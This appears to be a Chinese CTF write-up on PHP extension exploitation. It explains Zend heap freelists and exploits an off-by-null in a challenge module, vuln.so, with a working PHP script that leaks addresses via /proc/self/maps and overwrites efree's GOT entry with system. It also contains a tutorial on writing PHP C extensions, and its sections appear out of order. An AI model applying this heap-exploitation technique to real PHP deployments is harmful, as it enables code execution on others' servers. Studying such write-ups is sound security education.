从上面的定义可以获取30个freelist对应的chunk大小。可以看到,PHP在分配这部分内存时是以页为最小单位整个分配的,如对于大小为8的chunk,在初次分配时,应该是分配一整页4KB,随后将这一页拆分为512个8B大小的chunk来使用。

下面重点关注一下zend_mm_alloc_small

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// /Zend/zend_alloc.c, line 1243

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_STAT
do {
size_t size = heap->size + bin_data_size[bin_num];
size_t peak = MAX(heap->peak, size);
heap->size = size;
heap->peak = peak;
} while (0);
#endif

if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return p;
} else {
return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
}

忽略宏定义中的内容,看下面的部分。首先会检查对应的freelist链表是否存在已经释放的chunk,如果有,则使用链表的第一个chunk作为返回值。否则会调用zend_mm_alloc_small_slow另外分配内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// /Zend/zend_alloc.c, line 1187

static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
zend_mm_chunk *chunk;
int page_num;
zend_mm_bin *bin;
zend_mm_free_slot *p, *end;

#if ZEND_DEBUG
...
#else
bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#endif
if (UNEXPECTED(bin == NULL)) {
/* insufficient memory */
return NULL;
}

chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);
page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;
chunk->map[page_num] = ZEND_MM_SRUN(bin_num);
if (bin_pages[bin_num] > 1) {
uint32_t i = 1;

do {
chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);
i++;
} while (i < bin_pages[bin_num]);
}

/* create a linked list of elements from 1 to last */
end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));
heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
do {
p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG
...
#endif
p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
} while (p != end);

/* terminate list using NULL */
p->next_free_slot = NULL;
#if ZEND_DEBUG
...
#endif

/* return first element */
return bin;
}

在这个函数中,我们可以清晰地看到,zend_mm_alloc_pages之后,PHP构造了包含所有新分配的chunk的链表并放在freelist链表头部。即freelist链表不仅包含被释放的chunk,也有未被分配的chunk。最后返回其中的第一个chunk。

而对于chunk的释放,则非常简单,直接将该chunk放到对应freelist的头部即可。在分配与释放过程中,没有进行任何的安全检查,因此一旦出现堆相关漏洞,常常可以大做文章。

A.4 漏洞挖掘

从上面的分析来看,内存分配与释放均需要一个参数,但Ghidra没有识别出来,将参数添加后发现,先前发现的可能的溢出漏洞实际上并不存在,hacker_entry的最后一个字段实际上是一个不定长数组,在实际分配内存时会根据传入的字符串长度确定chunk大小。

那么,这道题的漏洞点又在何处?需要注意zif_displayHackerzif_addHacker函数,在memcpy之后,有一个在字符串尾部添加\0的操作,这实际上是off by null。

由于freed chunk将链表指针放在chunk首部,chunk与chunk之间没有任何分隔,因此off by null有机会修改链表指针的值。将该指针的值修改为一个chunk A内部的地址,这样可以通过chunk A的重写完全覆盖chunk A后面的chunk B的链表指针。本题的so文件没有使用FULL RELRO安全保护,因此可以完成覆盖GOT表的操作,后面的内容就不用多说了。

B. 漏洞利用

明确漏洞后,接下来就是考虑如何利用该漏洞。本题中我们可以完成PHP文件上传,因此直接将exp PHP文件上传后通过网址执行即可。

不过在php.ini中,题目定义了很多禁用的函数,保存在disable_function中。在实际编写PHP脚本时,需要注意不要使用这里提到的函数。

在本题中,我们可以通过读取/proc/self/maps的方法获取PHP进程的libc基地址以及堆内存的基地址。但我们并不能直接通过fopen函数打开文件,这主要是防止我们直接去读取flag文件。不过,PHP功能强大,我们还是能够找到读取/proc/self/maps的方法。flag文件在普通权限下无法读取,但/proc/self/maps可以读取。

zend_mm_alloc_small_slow中可以看到,初次分配的单向链表是低地址的chunk在头部,高地址的chunk在尾部。因此我们可以首先分配几个相同大小的chunk,随后按照从高到低的顺序释放。

需要注意的是,PHP不允许运行在其他版本下构建的C扩展,在API确认可用的情况下,可以通过修改module_entry中的zend_apibuild_id中的版本信息使其在不同PHP版本下运行。

在解题过程中,通过gdb调试能够加快进度,此类PHP pwn的调试方法参考资料完成。下面演示一下调试流程。

B.1 PHP调试

在docker中安装gdbserver后,运行

1
gdbserver :1234 php -S 0:8080 index.php

使gdbserver监听本地1234端口,PHP监听本地8080端口。访问8080端口即相当于执行php index.php。随后多次使用n命令。遇到的第一个call指令调用后,将加载PHP运行过程中需要的所有动态链接库(不含C扩展),进入_start后会进入_libc_start_main,在一条call rax指令执行后进入监听状态,同时会显示加载C扩展情况,如下面两图所示。

在vuln.so中打下断点后,访问8080端口,即可让gdb断在想要的地方。

下面是PHP中的_emalloc函数:

这其中内联了zend_mm_alloc_small函数,一直跟进理解代码语义,我们能够找到堆的freelist结构:

可以看到,这里的freelist中低地址的chunk位于链表的前面。因此有下面的漏洞利用思路,即想办法构造一个地址最后1字节为’\x00’的fake pointer指向free.got,随后在同一个freelist中通过off by null将这个fake pointer链入这个freelist中。如下图所示。

这里解释一下使用0x70 chunk freelist的原因。在整个漏洞利用过程中,首先需要一个能够写入0x…00这种地址的chunk A,随后需要一个chunk B完成off by null,破坏后面的chunk C的指针。原先chunk C的指针指向chunk D,且chunk D地址除了最低字节外其他字节应该与chunk A写入的地址相同。在0x70 chunk freelist中,可以利用0x2a0、0x310、0x380、0x3f0这4个chunk,即0x2a0写入0x300为free.got,0x310完成off by null,将0x380处由0x3f0改为0x300,这样就可以完成指针伪造,并最终能够成功分配到首地址为0x300的chunk。

B.2 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4038;
$system_off = 0x45e90;
$map_file = "/proc/self/map";

function get_so_base($buffer)
{
global $libc_base;
global $vuln_so_base;
$libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.31\.so/";
$vuln_so_line_regex =
"/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";
if (preg_match_all($libc_line_regex, $buffer, $matches))
$libc_base = hexdec($matches[1][0]);
else
echo "Failed to get libc base";
if (preg_match_all($vuln_so_line_regex, $buffer, $matches))
$vuln_so_base = hexdec($matches[1][0]);
else
echo "Failed to get vuln.so base";
}

function p64($value): string
{
$ret = "";
for ($i = 0; $i < 8; $i++) {
echo $ret & 0xFF . "<br>";
$ret .= pack('C', $value & 0xFF);
$value >>= 8;
}
return $ret;
}

// open a buffer and read the content of /proc/self/maps
ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;

echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";

addHacker(str_repeat("a", 0x40), str_repeat("b", 0x5f));
addHacker("echo \"success\"\x00" . str_repeat("a", 0x70-15), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x70), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x40), str_repeat("x", 0x50) . p64($efree_got)); // 0x2A0
addHacker(str_repeat("a", 0x40), str_repeat("!", 0x60)); // 0x310, off by null
addHacker(str_repeat("a", 0x70), str_repeat("x", 0x5f));
addHacker(p64($libc_base + $system_off) . str_repeat("a", 0x67), str_repeat("a", 0x38));
removeHacker(1);

成功利用,效果如下,这里仅显示在本地执行命令的结果。如果无法成功利用,可能是PHP环境问题,根据freelist状态调整冗余chunk的分配数量即可。

最近在D3CTF中发现了一道与PHP有关的Pwn题,当时由于事务繁忙没有及时学习,结果在不久之后的长城杯决赛中就遭到报应了,PHP pwn现场不会做。毕设做完之后,现在总算有时间拾起都有点陌生的CTF了。下面就来记录一下PHP pwn的学习过程。

A. PHP extensions for C

在查阅资料后可以发现,实际上PHP pwn考的还是用户态pwn。具体而言,赛题一般使用的都是使用C语言编写的PHP扩展库文件。

PHP是一门基于C语言编写的高级语言,历史悠久。它支持使用C语言编写可直接用于PHP文件的二进制.so库文件。具体操作如下:

1. 运行环境与工作目录初始化

为方便实验,这里可以基于PHP docker容器完成下面的操作。笔者使用的是php:8.1-apache,这个版本是php的较新版本,且内置apache服务器与PHP源码,可以开箱即用。

在容器的/usr/src目录中保存有php 8.1版本的源码压缩包,解压即可。

在源码目录的ext目录中有一个PHP脚本ext_skel.php,运行后可指定目录与脚本名,用于生成PHP扩展的基础文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
root@4bc0fa317dea:/usr/src/php-8.1.1/ext# ./ext_skel.php --help
WHAT IT IS

It's a tool for automatically creating the basic framework for a PHP extension.

HOW TO USE IT

Very simple. First, change to the ext/ directory of the PHP sources. Then run
the following

php ext_skel.php --ext extension_name

and everything you need will be placed in directory ext/extension_name.

If you don't need to test the existence of any external header files,
libraries or functions in them, the extension is ready to be compiled in PHP.
To compile the extension run the following:

cd extension_name
phpize
./configure
make

Don't forget to run tests once the compilation is done:

make test

Alternatively, to compile extension in the PHP:

cd /path/to/php-src
./buildconf
./configure --enable-extension_name
make
make test TESTS=ext/extension_name/tests

The definition of PHP_extension_NAME_VERSION will be present in the
php_extension_name.h and injected into the zend_extension_entry definition.
This is required by the PECL website for the version string conformity checks
against package.xml

SOURCE AND HEADER FILE NAME

The ext_skel.php script generates 'extension_name.c' and 'php_extension_name.h'
as the main source and header files. Keep these names.

extension functions (User functions) must be named

extension_name_function()

When you need to expose extension functions to other extensions, expose
functions strictly needed by others. Exposed internal function must be named

php_extension_name_function()

See also CODING_STANDARDS.md.

OPTIONS

php ext_skel.php --ext <name> [--experimental] [--author <name>]
[--dir <path>] [--std] [--onlyunix]
[--onlywindows] [--help]

--ext <name> The name of the extension defined as <name>
--experimental Passed if this extension is experimental, this creates
the EXPERIMENTAL file in the root of the extension
--author <name> Your name, this is used if --std is passed and for the
CREDITS file
--dir <path> Path to the directory for where extension should be
created. Defaults to the directory of where this script
lives
--std If passed, the standard header used in extensions that
is included in the core, will be used
--onlyunix Only generate configure scripts for Unix
--onlywindows Only generate configure scripts for Windows
--help This help

基本只需要使用--ext--dir选项即可。这里笔者将脚本目录设置为/var/www/my_extension

执行命令后,在/var/www/my_extension中自动生成了一些文件:

1
2
3
4
5
6
7
8
9
10
11
12
root@4bc0fa317dea:/var/www/my_extension/hello_phpext# ls -al
total 40
drwxr-xr-x 3 root root 4096 Jun 19 12:39 .
drwxr-xr-x 3 root root 4096 Jun 19 12:36 ..
-rw-r--r-- 1 root root 500 Jun 19 12:32 .gitignore
-rw-r--r-- 1 root root 3490 Jun 19 12:32 config.m4
-rw-r--r-- 1 root root 253 Jun 19 12:32 config.w32
-rw-r--r-- 1 root root 1971 Jun 19 12:32 hello_phpext.c
-rw-r--r-- 1 root root 110 Jun 19 12:32 hello_phpext.stub.php
-rw-r--r-- 1 root root 558 Jun 19 12:32 hello_phpext_arginfo.h
-rw-r--r-- 1 root root 372 Jun 19 12:32 php_hello_phpext.h
drwxr-xr-x 2 root root 4096 Jun 19 12:32 tests
  • config.m4:Unix下的Build Config配置文件,将通过它完成配置与安装。
  • hello_phpext.c:包含主要逻辑的C语言文件,我们扩展函数的保存位置。
  • php_hello_phpext.h:头文件,包含结构体定义等。

2. 构建与加载

为方便后续对我们的扩展进行测试,首先需要搞清楚应该如何将扩展加载到PHP中。

使用下面的命令可以完成扩展加载:

1
2
3
4
phpize
./configure
make
make install

执行上述命令后,我们的PHP扩展库文件就被复制到了/usr/local/lib/php/extensions/no-debug-non-zts-20210902目录中。

随后,我们还需要修改php.ini文件。在8.1.1版本的PHP中,/usr/local/etc/php目录下有两个文件:php.ini-developmentphp.ini-production,前者一般用于开发调试而后者用于发布。这里使用前者,在代码中添加一行:

1
extension=hello_phpext.so

随后将其复制一份保存为php.ini,重启apache2服务,即可将我们的扩展加载到PHP中。

3. 关键结构定义

上述初始化操作完成后,hello_phpext.c中预先定义了一些必要的结构以及两个示例函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
/* hello_phpext extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_hello_phpext.h"
#include "hello_phpext_arginfo.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif

/* {{{ void test1() */
PHP_FUNCTION(test1)
{
ZEND_PARSE_PARAMETERS_NONE();

php_printf("The extension %s is loaded and working!\r\n", "hello_phpext");
}
/* }}} */

/* {{{ string test2( [ string $var ] ) */
PHP_FUNCTION(test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;

ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

retval = strpprintf(0, "Hello %s", var);

RETURN_STR(retval);
}
/* }}}*/

/* {{{ PHP_RINIT_FUNCTION */
PHP_RINIT_FUNCTION(hello_phpext)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLO_PHPEXT)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION */
PHP_MINFO_FUNCTION(hello_phpext)
{
php_info_print_table_start();
php_info_print_table_header(2, "hello_phpext support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ hello_phpext_module_entry */
zend_module_entry hello_phpext_module_entry = {
STANDARD_MODULE_HEADER,
"hello_phpext", /* Extension name */
ext_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(hello_phpext), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(hello_phpext), /* PHP_MINFO - Module info */
PHP_HELLO_PHPEXT_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_HELLO_PHPEXT
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(hello_phpext)
#endif

这里包含了大量PHP相关的宏定义,一眼看过去确实难以理解,下面将结合PHP源码进行分析。

PHP_FUNCTION

这是用于定义PHP库函数的宏定义,在8.1.1版本PHP源码中的定义如下:

1
2
3
4
// /Zend/zend_API.h, line 71

#define ZEND_NAMED_FUNCTION(name) void ZEND_FASTCALL name(INTERNAL_FUNCTION_PARAMETERS)
#define ZEND_FUNCTION(name) ZEND_NAMED_FUNCTION(zif_##name)

即上面的PHP_FUNCTION(test1)就相当于void ZEND_FASTCALL test1(INTERNAL_FUNCTION_PARAMETERS)

INTERNAL_FUNCTION_PARAMETERS

上面的函数定义需要使用参数定义的相关宏定义INTERNAL_FUNCTION_PARAMETERS,它的定义如下:

1
2
3
// /Zend/zend.h, line 48

#define INTERNAL_FUNCTION_PARAMETERS zend_execute_data *execute_data, zval *return_value

即所有的PHP库函数都会通过第一个参数execute_data传入所有C函数需要的参数,由第二个参数return_value获取返回值,库函数本身的返回值恒为void。

zend_execute_data

这是一个结构体,用于保存C库函数的相关参数的数据结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// /Zend/zend_types.h, line 88

typedef struct _zend_execute_data zend_execute_data;

// /Zend/zend_compile.h, line 522

struct _zend_execute_data {
const zend_op *opline; /* executed opline */
zend_execute_data *call; /* current call */
zval *return_value;
zend_function *func; /* executed function */
zval This; /* this + call_info + num_args */
zend_execute_data *prev_execute_data;
zend_array *symbol_table;
void **run_time_cache; /* cache op_array->run_time_cache */
zend_array *extra_named_params;
};

这里引用了另外一些结构体,下面给出部分定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// /Zend/zend_types.h, line 90

typedef struct _zval_struct zval;

// /Zend/zend_types.h, line 288

typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;

struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};

可以看到,PHP使用zend_value定义PHP数据类型,包括整数、浮点数、数组、对象、函数、类等。

ZEND_PARSE_PARAMETERS_START

在C库函数中,有一个重要的流程——解析PHP参数。从上面的示例C文件中,可以看到这样一段:

1
2
3
4
ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

这些宏定义均在/Zend/zend_API.h中定义,将这些宏全部展开带入参数之后,就变成了下面这个样子(已删除无效控制流):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// ZEND_PARSE_PARAMETERS_START
do { \
const int _flags = (0); \
uint32_t _min_num_args = (0); \
uint32_t _max_num_args = (uint32_t) (1); \
uint32_t _num_args = (execute_data)->This.u2.num_args; \
uint32_t _i = 0; \
zval *_real_arg, *_arg = NULL; \
zend_expected_type _expected_type = Z_EXPECTED_LONG; \
char *_error = NULL; \
bool _dummy = 0; \
bool _optional = 0; \
int _error_code = ZPP_ERROR_OK; \
((void)_i); \
((void)_real_arg); \
((void)_arg); \
((void)_expected_type); \
((void)_error); \
((void)_optional); \
((void)_dummy); \
\
do { \
if (UNEXPECTED(_num_args < _min_num_args) || \
UNEXPECTED(_num_args > _max_num_args)) { \
if (!(_flags & ZEND_PARSE_PARAMS_QUIET)) { \
zend_wrong_parameters_count_error(_min_num_args, _max_num_args); \
} \
_error_code = ZPP_ERROR_FAILURE; \
break; \
} \
_real_arg = ZEND_CALL_VAR_NUM(execute_data, -1);
// Z_PARAM_OPTIONAL
_optional = 1;
// Z_PARAM_STRING
++_i; \
ZEND_ASSERT(_i <= _min_num_args || _optional==1); \
ZEND_ASSERT(_i > _min_num_args || _optional==0); \
if (_optional) { \
if (UNEXPECTED(_i >_num_args)) break; \
} \
_real_arg++; \
_arg = _real_arg; \
if (UNEXPECTED(!zend_parse_arg_string(_arg, &var, &var_len, 0, _i))) { \
_expected_type = 0 ? Z_EXPECTED_STRING_OR_NULL : Z_EXPECTED_STRING; \
_error_code = ZPP_ERROR_WRONG_ARG; \
break; \
}
// ZEND_PARSE_PARAMETERS_END
ZEND_ASSERT(_i == _max_num_args || _max_num_args == (uint32_t) -1); \
} while (0); \
if (UNEXPECTED(_error_code != ZPP_ERROR_OK)) { \
if (!(_flags & ZEND_PARSE_PARAMS_QUIET)) { \
zend_wrong_parameter_error(_error_code, _i, _error, _expected_type, _arg); \
} \
return; \
} \
} while (0);

由于C语言没有类的概念,因此对于一些需要泛型的操作只有通过宏定义实现才能让代码更加简洁,也提升了代码审计的难度。这段代码有一个比较有趣的地方——大量使用了do ... while(0)的控制流结构,这看上去冗余,但实际上是为了隔离作用域,让宏定义中的临时变量具有临时作用域,使宏定义调用方对于临时变量不可见,避免调用方多次调用相同宏定义时出现变量重复定义的问题。

在上面的代码中,关键逻辑实际上就是一行,即调用zend_parse_arg_string函数进行参数解析。前后添加了一些安全检查,包括参数个数、解析是否成功等。下面简单分析一下zend_parse_arg_string的相关逻辑。

zend_parse_arg_string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// /Zend/zend_API.h, line 1984

static zend_always_inline bool zend_parse_arg_str(zval *arg, zend_string **dest, bool check_null, uint32_t arg_num)
{
if (EXPECTED(Z_TYPE_P(arg) == IS_STRING)) {
*dest = Z_STR_P(arg);
} else if (check_null && Z_TYPE_P(arg) == IS_NULL) {
*dest = NULL;
} else {
return zend_parse_arg_str_slow(arg, dest, arg_num);
}
return 1;
}

static zend_always_inline bool zend_parse_arg_string(zval *arg, char **dest, size_t *dest_len, bool check_null, uint32_t arg_num)
{
zend_string *str;

if (!zend_parse_arg_str(arg, &str, check_null, arg_num)) {
return 0;
}
if (check_null && UNEXPECTED(!str)) {
*dest = NULL;
*dest_len = 0;
} else {
*dest = ZSTR_VAL(str);
*dest_len = ZSTR_LEN(str);
}
return 1;
}

可以清晰地看到这里PHP源代码对传入的zval进行解析的过程。由于zval结构中的zend_value是一个联合类型,因此可以用于表示多种数据类型,相互转换也非常简单。

由此可知,ZEND_PARSE_PARAMETERS_STARTZEND_PARSE_PARAMETERS_END之间即为C库函数解析PHP参数的流程,在ZEND_PARSE_PARAMETERS_START中,需要指定要解析第几个参数,随后在内部可通过多次使用Z_PARAM_xxx进行参数解析。

zend_module_entry

这是一个在预先定义的C库文件中被使用的数据结构。从最上面的代码注释可以看到,这个数据类型定义了PHP模块的基本信息,包括扩展的名字、库函数的入口(定义的所有导出函数)、初始化函数、关闭函数、请求初始化函数、请求关闭函数、phpinfo钩子函数、版本等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PHP_MINFO_FUNCTION(hello_phpext)
{
php_info_print_table_start();
php_info_print_table_header(2, "hello_phpext support", "enabled");
php_info_print_table_end();
}

zend_module_entry hello_phpext_module_entry = {
STANDARD_MODULE_HEADER,
"hello_phpext", /* Extension name */
ext_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(hello_phpext), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(hello_phpext), /* PHP_MINFO - Module info */
PHP_HELLO_PHPEXT_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};

其中,PHP_MINFO用于定义挂钩在phpinfo函数中的C库函数。它的作用是当PHP代码调用phpinfo()函数时显示PHP基本信息时,能够在其上附加显示本扩展的基本信息,包括扩展名、作者等。

  • php_info_print_table_start:开始显示phpinfo表格。
  • php_info_print_table_header:输出表格头,第一个参数为需要添加的列数,后面的参数个数需要等于第一个参数的值,表示不同列的输出内容。
  • php_info_print_table_row:输出表格内容,第一个参数为该行的列数,后面参数个数等于第一个参数的值,表示不同列的输出内容。
  • php_info_print_table_end:结束输出phpinfo表格。

对于下面的PHP_MINFO_FUNCTION定义,调用phpinfo后可看到下图表格的输出。

1
2
3
4
5
6
7
PHP_MINFO_FUNCTION(hello_phpext)
{
php_info_print_table_start();
php_info_print_table_header(2, "hello_phpext support", "enabled");
php_info_print_table_row(2, "author", "CoLin");
php_info_print_table_end();
}

zend_function_entry

这是用于表示C库的导出PHP函数的结构体,定义如下:

1
2
3
4
5
6
7
8
9
// /Zend/zend_API.h

typedef struct _zend_function_entry {
const char *fname;
zif_handler handler;
const struct _zend_internal_arg_info *arg_info;
uint32_t num_args;
uint32_t flags;
} zend_function_entry;

hello_phpext_arginfo.h中,有一个static const zend_function_entry ext_functions[]的数组结构,其中即保存了本扩展中导出的,可在PHP代码中直接调用的函数。

1
2
3
4
5
static const zend_function_entry ext_functions[] = {
ZEND_FE(test1, arginfo_test1)
ZEND_FE(test2, arginfo_test2)
ZEND_FE_END
};

其中的每一个导出函数都使用ZEND_FE宏定义包裹,第一个参数为函数名,第二个参数为函数的参数信息。

头文件中也对参数类型进行了定义:

1
2
3
4
5
6
ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_test1, 0, 0, IS_VOID, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_test2, 0, 0, IS_STRING, 0)
ZEND_ARG_TYPE_INFO_WITH_DEFAULT_VALUE(0, str, IS_STRING, 0, "\"\"")
ZEND_END_ARG_INFO()

下面给出这些宏的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// /Zend/zend_API.h, line 183

#define ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(name, return_reference, required_num_args, type, allow_null) \
ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX2(name, return_reference, required_num_args, type, allow_null, 0)

// /Zend/zend_API.h, line 179

#define ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX2(name, return_reference, required_num_args, type, allow_null, is_tentative_return_type) \
static const zend_internal_arg_info name[] = { \
{ (const char*)(zend_uintptr_t)(required_num_args), ZEND_TYPE_INIT_CODE(type, allow_null, _ZEND_ARG_INFO_FLAGS(return_reference, 0, is_tentative_return_type)), NULL },

// Zend/zend_API.h, line 197

#define ZEND_END_ARG_INFO() };

// Zend/zend_compile.h, line 400

/* arg_info for internal functions */
typedef struct _zend_internal_arg_info {
const char *name;
zend_type type;
const char *default_value;
} zend_internal_arg_info;

因此,ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_test1, 0, 0, IS_VOID, 0)展开就是:

1
2
3
static const zend_internal_arg_info arginfo_test1[] = { \
{ (const char*)(zend_uintptr_t)(0), ZEND_TYPE_INIT_CODE(IS_VOID, 0, _ZEND_ARG_INFO_FLAGS(0, 0, 0)), NULL },

其中括号未闭合,用于在下面继续定义其他参数。这个宏定义实际上是首先定义了返回值的类型,它的5个参数分别代表:

  • 1 - 函数名
  • 2 - 返回值是否为引用值
  • 3 - 必需的参数数量
  • 4 - 返回值类型
  • 5 - 返回值是否允许为空

这里需要注意的是,参数3表示必需的参数数量,在PHP函数中还可以添加一些可选参数。即即使传入的必需参数数量为0,在ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX之后依然可以定义任意多的可选参数。即使PHP代码中没有传入这些可选参数,在库函数中只是会被当成默认值看待,而不会直接报错。

其中,对于ZEND_TYPE_INIT_CODE的定义如下:

1
2
3
#define ZEND_TYPE_INIT_CODE(code, allow_null, extra_flags) \
ZEND_TYPE_INIT_MASK(((code) == _IS_BOOL ? MAY_BE_BOOL : ((code) == IS_MIXED ? MAY_BE_ANY : (1 << (code)))) \
| ((allow_null) ? _ZEND_TYPE_NULLABLE_BIT : 0) | (extra_flags))

它的3个参数分别代表数据类型、是否允许空、其他参数标志位。

ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX之后,可以定义所有参数。定义使用下面的宏定义:

1
2
3
4
#define ZEND_ARG_TYPE_INFO(pass_by_ref, name, type_hint, allow_null) \
{ #name, ZEND_TYPE_INIT_CODE(type_hint, allow_null, _ZEND_ARG_INFO_FLAGS(pass_by_ref, 0, 0)), NULL },
#define ZEND_ARG_TYPE_INFO_WITH_DEFAULT_VALUE(pass_by_ref, name, type_hint, allow_null, default_value) \
{ #name, ZEND_TYPE_INIT_CODE(type_hint, allow_null, _ZEND_ARG_INFO_FLAGS(pass_by_ref, 0, 0)), default_value },

type_hint即为参数的数据类型,pass_by_ref表示是否传入引用。

PHP类相关

在C语言的PHP扩展中,可以完成对PHP类的定义,包括类属性、类方法的定义等。这里以PHP源码为例。

